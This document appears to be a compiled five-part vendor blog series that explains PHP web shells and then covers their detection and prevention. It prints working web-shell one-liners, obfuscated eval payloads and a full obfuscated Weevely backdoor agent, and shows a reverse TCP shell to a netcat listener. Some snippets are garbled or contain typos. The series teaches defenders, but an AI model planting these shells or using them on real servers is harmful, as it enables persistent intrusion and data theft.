Web Shell
Web Shell
Web Shell
A web-shell is a malicious script used by an attacker with the intent to escalate and maintain
persistent access on an already compromised web application. A web-shell itself cannot attack or
exploit a remote vulnerability, so it is always the second step of an attack (this stage is also referred
to as post-exploitation).
An attacker can take advantage of common vulnerabilities such as SQL injection, remote file
inclusion (RFI), FTP, or even use cross-site scripting (XSS) as part of a social engineering attack in
order to upload the malicious script. The common functionality includes but is not limited to shell
command execution, code execution, database enumeration and file management.
Privilege Escalation
Unless a server is misconfigured, the web shell will be running under the web server’s user
permissions, which are (or, at least, should be) limited. Using a web-shell, an attacker can attempt to
perform privilege escalation attacks by exploiting local vulnerabilities on the system in order to
assume root privileges, which, in Linux and other UNIX-based operating systems is the ‘super-user’.
With access to the root account, the attacker can essentially do anything on the system including
installing software, changing permissions, adding and removing users, stealing passwords, reading
emails and more.
Zombie
Another use of web-shells is to make servers part of a botnet. A botnet is a network of compromised
systems that an attacker would control, either to use themselves, or to lease to other criminals. The
web-shell or backdoor is connected to a command and control (C&C) server from which it can take
commands on what instructions to execute.
This setup is commonly used in distributed-denial-of-service (DDoS) attacks, which require
expansive amounts of bandwidth. In this case, the attacker does not have any interest in harming, or
stealing anything off-of the system upon which the web shell was deployed. Instead, they will simply
use its resources for whenever is needed.
Part 1
An introduction to web-shells
Part 2
Web-shells 101 using PHP
Part 3
Keeping web-shells under cover
Part 4
Web-shells in action
Part 5
Detection & Prevention
https://www.acunetix.com/blog/articles/introduction-web-shells-part-1/
In part 1 of this series, we looked at what a web-shell is, and why an attacker would seek to use one.
In part 2 of this series, we’ll be looking at some specific examples of web-shells in the PHP
programming language.
Web shells exist for almost every web programming language you can think of. We chose to focus on
PHP because it is the most widely-used programming language on the web.
PHP web shells do nothing more than use in-built PHP functions to execute commands. The
following are some of the most common functions used to execute shell commands in PHP.
Note — For the purposes of this article, we edited our hosts file and pointed the
domain www.example.comto a test server.
system()
The system() function accepts the command as a parameter and it outputs the result.
The following example on a Microsoft Windows machine will run the dir command to return a
directory listing of the directory in which the PHP file is executing in.
<?php
// Return the directory listing in which the file run (Windows)
system("dir");
?>
Directory of C:\webserver\www\demo
<?php
// Return the directory listing in which the file run (Linux)
system("ls -la");
?>
--> total 12
drwxrwxr-x 2 secuser secuser 4096 Apr 27 20:43 .
drwxr-xr-x 6 secuser secuser 4096 Apr 27 20:40 ..
-rw-rw-r-- 1 secuser secuser 26 Apr 27 20:41 shell.php
--> www-data
exec()
The exec() function accepts a command as a parameter but does not output the result. If second
optional parameter is specified, the result will be returned as an array. Otherwise, only the last line of
the result will be shown if echoed.
<?php
// Executes, but returns nothing
exec("ls -la");
?>
-->
Using echo with the exec() function, will only print the last line of the command’s output.
<?php
// Executes, returns only last line of the output
echo exec("ls -la");
?>
<?php
// Executes, returns the output in an array
exec("ls -la",$array);
print_r($array);
?>
--> Array(
[0] => total 12
[1] => drwxrwxr-x 2 secuser secuser 4096 Apr 27 20:55 .
[2] => drwxr-xr-x 6 secuser secuser 4096 Apr 27 20:40 ..
[3] => -rw-rw-r-- 1 secuser secuser 49 Apr 27 20:54 shell.php )
shell_exec()
The shell_exec() function is similar to exec(), however, instead, it outputs the entire result as a
string.
<?php
// Executes, returns the entire output as a string
echo shell_exec(“ls -la“);
?>
--> total 12 drwxrwxr-x 2 secuser secuser 4096 Apr 28 18:24 . drwxr-
xr-x 6 secuser secuser 4096 Apr 27 20:40 .. -rw-rw-r-- 1 secuser
secuser 36 Apr 28 18:24 shell.php
passthru()
The passthru() function executes a command and returns output in raw format.
<?php
// Executes, returns output in raw format
passsthru(“ls -la“);
?>
proc_open()
The proc_open() function can be difficult to understand (you can find a detailed description of the
function in the PHP docs). Put simply, by using proc_open() we can create a handler (process)
which will be used for the communication between our script and the program we want to run.
<?php
preg_replace('/.*/e', 'system("whoami");', '');
?>
--> www-data
Backticks
Surprisingly, not many PHP developers are aware of this, however, PHP will execute the contents of
backticks ( ` ) as a shell command.
Note — The backtick character ( ` ), should not to be confused with the single quote character ( ‘ )
<?php
$output = `whoami`;
echo "<pre>$output</pre>";
?>
--> www-data
Based on the above, the following is a PHP web-shell in its simplest form.
<?php system($_GET['cmd']);?>
It uses the system() function to execute commands that are being passed through ‘cmd’ HTTP
request GET parameter.
We have established that these functions (and a few others) can be very dangerous. What is even
more dangerous, is that all these in-built PHP commands are enabled by default when PHP is
installed, and the majority of system administrators do not disable them.
If you are unsure whether they are enabled on your system, the following command (PHP CLI needs
to be installed) will return a list of the dangerous functions which are enabled.
On a default installation, we can see that all of the functions mentioned above, are enabled.
Part 1
An introduction to web-shells
Part 2
Web-shells 101 using PHP
Part 3
Keeping web-shells under cover
Part 4
Web-shells in action
Part 5
Detection & Prevention
https://www.acunetix.com/blog/articles/web-shells-101-using-php-introduction-web-shells-
part-2/
In part 2 of this series, we looked at specific examples of web-shells in the PHP programming
language. In part 3 of this series, we’ll be looking at some techniques attackers use to keep web-
shells hidden.
Commands can be sent to the web-shell using various methods, with HTTP POST request being the
most common. However, hackers are not exactly people who play by the rules. The following are a
few of the possible tricks attackers can use to keep web shells under-the-radar.
Modifying headers
Instead of passing the command via $_POST request parameter, they use the user agent string.
<?php system($_SERVER['HTTP_USER_AGENT'])?>
The attacker would then craft specific HTTP requests by placing the command inside of the ‘User-
Agent’ HTTP header.
The effects of this behavior can be seen in the server log, where, the HTTP ‘User-Agent’ of the
second request was replaced by the cat /etc/passwd command.
The above method is noisy and can very easily tip off an administrator looking at server logs. The
following one though, is not.
The method above leaves no visible tracks (at least in the access log) in regards to which command
was executed.
http://www.example.com/includes/blocks/user/text_editor/bbja1jsf.php
A more effective way, is to embed the web shell code into already existing, legitimate, files.
http://www.example.com/index.php
http://www.example.com/about.php
// http://www.example.com/wp-content/wp-blog-header.php
if ( !isset($wp_did_header) ) {
$wp_did_header = true;
Note – An attacker can use the @ operator before a function to suppress any errors that may be
thrown, and subsequently written to the error log.
Obfuscation
Attackers use various obfuscation techniques in order to avoid being detected by the administrators
or by other attackers. They keep coming up with new and more sophisticated ways to hide their code
and bypass security systems. Below we will see some of the most common techniques used.
Whitespace
By removing the whitespace from a block of code, it looks like a big string making it less readable
and harder to identify what the script does.
<?php
// Whitespace makes things easy to read
function myshellexec($cmd){
global $disablefunc; $result = "";
if (!empty($cmd)){
if (is_callable("exec") && !in_array("exec",$disablefunc)) {
exec($cmd,$result); $result = join("",$result);
}
}
}
// Whitespace removed makes things harder to read
function myshellexec($cmd) {global $disablefunc;$result = "";
if(!empty($cmd)) { if (is_callable("exec") and
!in_array("exec",$disablefunc)){exec($cmd,$result); $result=join(" ",
$result);}}}
?>
Scrambling
Scrambling is a technique that can be used effectively in combination with others to help a web shell
go undetected. It scrambles the code making it unreadable and makes use of various functions that
will reconstruct the code when run.
<?php
// Scrambled
$k='c3lzdGVtKCdscyAtbGEnKTs=';
$c=strrev('(edoced_46esab.""nruter')."'".$k."');";
$f=eval($c);eval($f);
// Unscrambled
// base_64 encoded string -> system('ls -la');
$k='c3lzdGVtKCdscyAtbGEnKTs=';
// strrev() reverses a given string:
strrev('(edoced_46esab.""nruter')."'".$k."')
$c= eval("return base64_decode('c3lzdGVtKCdscyAtbGEnKTs=');");
// $c = system('ls -la');
$f=eval($c);
eval($f);
The following examples all produce the same result, however, an attacker might choose to use more
obfuscated techniques in order for the web shell to keep a low profile.
<?php
// Evaluates the string "system('ls -la');" as PHP code
eval("system('ls -la');");
system('cat /etc/passwd');
73797374656d2827636174202f6574632f70617373776427293b
Therefore, the following code can be used to accept a hexadecimal-encoded string and evaluate it as
PHP code.
The above examples can all be decoded using various tools, even if they are encoded multiple times.
In some cases, attackers may choose to use encryption, as opposed to encoding, in order to make it
harder to determine what the web shell is doing.
The following example is simple, yet practical. While the code is not encoded or encrypted, it is still
less detectable than previous because it doesn’t use any suspicious function names
(like eval() or assert()), lengthy encoded strings, complicated code; and most importantly, it will
not set-off any red flags when administrators view logs (to a certain extend).
<?php
// Send a POST request with variable '1' = 'system' and variable '2'
= 'cat /etc/passwd'
$_=$_POST['1'];
$__=$_POST['2'];
Part 1
An introduction to web-shells
Part 2
Web-shells 101 using PHP
Part 3
Keeping web-shells under cover
Part 4
Web-shells in action
Part 5
Detection & Prevention
Share this post
https://www.acunetix.com/blog/articles/keeping-web-shells-undercover-an-introduction-to-
web-shells-part-3/
In part 3 of this series, we looked at ways in which a hacker can keep web-shells under the radar. In
part 4 of this series, we’ll be looking at web shells in action by using Weevely as an example.
Weevely is a lightweight PHP telnet-like web-shell with several options which we shall be using for
this example.
For demonstration purposes, we will use Weevely to create a backdoor agent which will be deployed
on the target server. We just need to specify a password and a filename. The password will be used
to access the backdoor later on.
<?php
$d='@$r["HTTP_A%CCEPT_L%ANGUAG%E"];%if%($rr&&$%ra){$%u=parse_
%url($rr);p%arse_s%tr($u';
$k='$kh="79cf%";$k%f="%eb94";%%function x(%$t,$k){$c=st%rle%n($%k%);
$l=strlen($t);$o';
$Y='64_de%code%(preg_replac%e(arra%y("/%_/","/-%/"),ar%ray("/%","+%"),
$ss($%';
$O='$i],%$f);%%if($e){$k=$kh.$kf;%ob_%start();@%e%val(%@gzunco%mpr
%ess(@x(@b%ase';
$b='%%+(?%:;q%=0.([\\d]))?,%?/",$ra,$m);if(%$q&&$m)%{@sess%ion_st
%art();$%s=&$_S%ESSI%O';
$j='s[$i%],0,$e%)%)%),$k)));$o=ob_get_c%onten%t%s();ob%_end_clean()%%;
$d=bas%e%6';
$f='N;$ss="%substr%"%%%;$sl="strtolower";$%i=$m[1]%[0].$m%[1]%[1];$h=$
%sl%($s';
$u='s(%md5($i.$kh%),0,3));$f%=$sl($s%s(md%5($i.$k%f),0,3%));$%p="";f
%or%($z=1;$z<';
$c=str_replace('vs','','cvsrevsate_vsvsfuncvsvstion');
$H='%p%=$ss($p,3);%}if(ar%ray_%k%e%y_exists($i,$%s)){$s[$i].%=%$p%;
$e=st%rpos($s[';
$U='4_enco%de(x(%gzcomp%ress($o),$%k));pr%int("<$k>$%d<%/$k>");@ses
%sion_%d%estroy();}}}}';
$M='=%"%";for($i%=0;$i%<$l;%){for($j%=0;($j%<$c&&$i<$%l%);$j%+%+,$i+%
+){$o.=$t{$i%';
$F='co%unt($%m[1]%);$z+%+)$p.%=$q[$m%[2][$z]];%%if(strpos(%%$p,$h)==
%=0){$s[$i]="";$';
$q='%%["q%uery"]%,$q);$q=array_%values%($%q);%preg_match_al%l("/(%[\\w
%])[\\w-]';
$X='}^$k{$j};}}%return %$o;%}$%r=$_SERV%ER;$r%r=@$r[%"HTTP_REFE%RER"];
$ra%%=';
$S=str_replace('%','',$k.$M.$X.$d.$q.$b.$f.$u.$F.$H.$O.$Y.$j.$U);
$P=$c('',$S);$P();
?>
agent.php is renamed to ma.php and then uploaded to the compromised server. Then instead of
accessing the file through the browser, we connect to it using shell.
root@secureserver2:~/weevely3-master# ./weevely.py
http://192.168.5.25/ma.php abcd123
--> [+] weevely 3.2.0
[+] Target: www-data@secureserver:/var/www/html
[+] Session: /root/.weevely/sessions/192.168.5.25/ma_0.session
[+] Shell: System shell
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely>
We now have backdoor access to the target server and we can execute commands.
weevely> uname -a
www-data@secureserver:/var/www/html $
The requests being sent are encoded and also the referrer appears to be Google. If we were to
analyze the logs for malicious activity, this might have been confusing since Google is supposedly a
legitimate referrer. This is of course part of the web-shell’s behavior to avoid detection.
Another interesting feature of the web-shell we’ve used is the reverse TCP shell option. This means
that the compromised server would be making a connection back to us instead or us making a
request to the web-shell.
On our source computer we set up a Netcat listener on port 8181
root@secureserver2:~/# nc -l -v -p 8181
Using our already established backdoor shell connection we initiate a reverse TCP request.
www-data@secureserver:/var/www/html $ :backdoor_reversetcp
192.168.5.26 8181
--> www-data
Using the reverse TCP shell we can now control the server without any traces to the access or error
logs because the communication is occurring over TCP (layer 4) and not on HTTP (layer 7).
Part 1
An introduction to web-shells
Part 2
Web-shells 101 using PHP
Part 3
Keeping web-shells under cover
Part 4
Web-shells in action
Part 5
Detection & Prevention
In part 4 of this series, we looked at web shells in action by using Weevely as an example. In the final
part of this series, we’ll be looking at web shell detection and how to prevent them.
Detection
If an administrator suspects that a web-shell is present on their system (or during a routine check),
the following are some things to examine.
Firstly, the server access and error logs must be filtered for common keywords that are being used
by web shells. This includes filenames and/or parameter names. The example below looks for the
string ‘file’ in URLs in Apache HTTP Server’s access log
The filesystem (usually the web server root) must be searched for common strings in files or
filenames.
Search for very long strings which may indicate encoding. Some backdoors have thousands of lines
of code.
root@secureserver:/var/www/html/demo# awk 'length($0)>100' *.php
-->
eval(gzinflate(base64_decode('HJ3HkqNQEkU/ZzqCBd4t8V4YAQI2E3jvPV8/1Gw6
orsVFLyXefMcFUL5EXf/yqceii7e8n9JvOYE9t8sT8cs//
cfWUXldLpKsQ2LCH7EcnuYdrqeqDHEDz+4uJYWH3YLflGUnDJ40DjU/
AL1miwEJPpBWlsAxTrgB46jRW/00XpggW00yDI/H1kD7UqxI/
3qjQZ4vz7HLsfNVW1BeQKiVH2VTrXtoiaKYdkT4o/p1E8W/
n5eVhagV7GanBn0U7OCfD7zPbCQyO0N/QGtstthqJBia5QJsR6xCgkHpBo1kQMlLt6u+
+SBvtw5KSMwtG4R2yctd0mBNrlB3QQo4aQKGRgRjTa0xYFw1vVM9ySOMd44sSrPe…
Search for modified files in the last X day/s. In the following example we searched for *.php files
changed within the last day but it is recommended to search for any file change as a web-shell can
also be embedded into an image or any other file.
Analyze .htaccess files for modifications. The following are examples of changes an attacker might
make to .htaccess files.
# The AddType directive maps the given filename extensions onto the
specified content type
AddType application/x-httpd-php .htaccess
AddType application/x-httpd-php .jpg
Prevention
The following is a non-exhaustive list of preventive measures to take in relation to web-shells.
1. If not used, disable potentially dangerous PHP functions such
as exec(), shell_exec(), passthru(), system(), show_source(), proc_open(), pcntl_e
xec(), eval() and assert()
2. If it’s an absolute necessity to have those commands enabled, make sure that unauthorized
users do not have access to these scripts. Additionally,
use escapeshellarg() and escapeshellcmd() to ensure that user input can not be
injected into shell commands, resulting in command execution vulnerabilities.
3. If your web application is using upload forms make sure they are secure and that they only
allow whitelisted file types to be uploaded.
4. Never trust user input
5. Do not blindly use code that you may find on online forums or websites.
6. In the case of WordPress, try to avoid installing third-party plugins if you do not need them. If
you need to make use of a plugin, ensure it is reputable and frequently updated.
7. Disable PHP execution in sensitive directories like images or uploads
8. Lock-down web server’s user permissions
Final Remarks
As we have seen, coding and using a web-shell is not difficult. Unfortunately, many web servers are
setup in such a way where even a simple script is enough to cause significant damage. This is the
main reason as to why there are thousands of publicly available web-shells. The fact that so many
variations exist, make it difficult for intrusion detection and intrusion prevention systems (IDS/IPS) to
detect them; especially if they are using signatures to detect such web shells. Some web-shells are
very sophisticated and they are almost impossible to be detected, even with behavioral analysis.
Having said this, early on in this article series, we had established that web-shells are post-
exploitation tools. This means that the best way to prevent exploitation, is to prevent them from being
uploaded in the first place.
Since Acunetix Vulnerability Scanner tests websites and web applications for thousands of
vulnerabilities, including code execution and arbitrary file upload vulnerabilities, it can find entry
points that could allow attackers to upload web-shells before an attacker would.
Additionally, when making using Acunetix’ AcuSensor Technology, since a sensor is deployed inside
the web application, the scanner can retrieve a list of files on the server back-end, meaning that the
scanner can detect web shells and other malicious scripts even if they are buried deep within
directories.
Part 1
An introduction to web-shells
Part 2
Web-shells 101 using PHP
Part 3
Keeping web-shells under cover
Part 4
Web-shells in action
Part 5
Detection & Prevention
https://www.acunetix.com/blog/articles/detection-prevention-introduction-web-shells-part-5/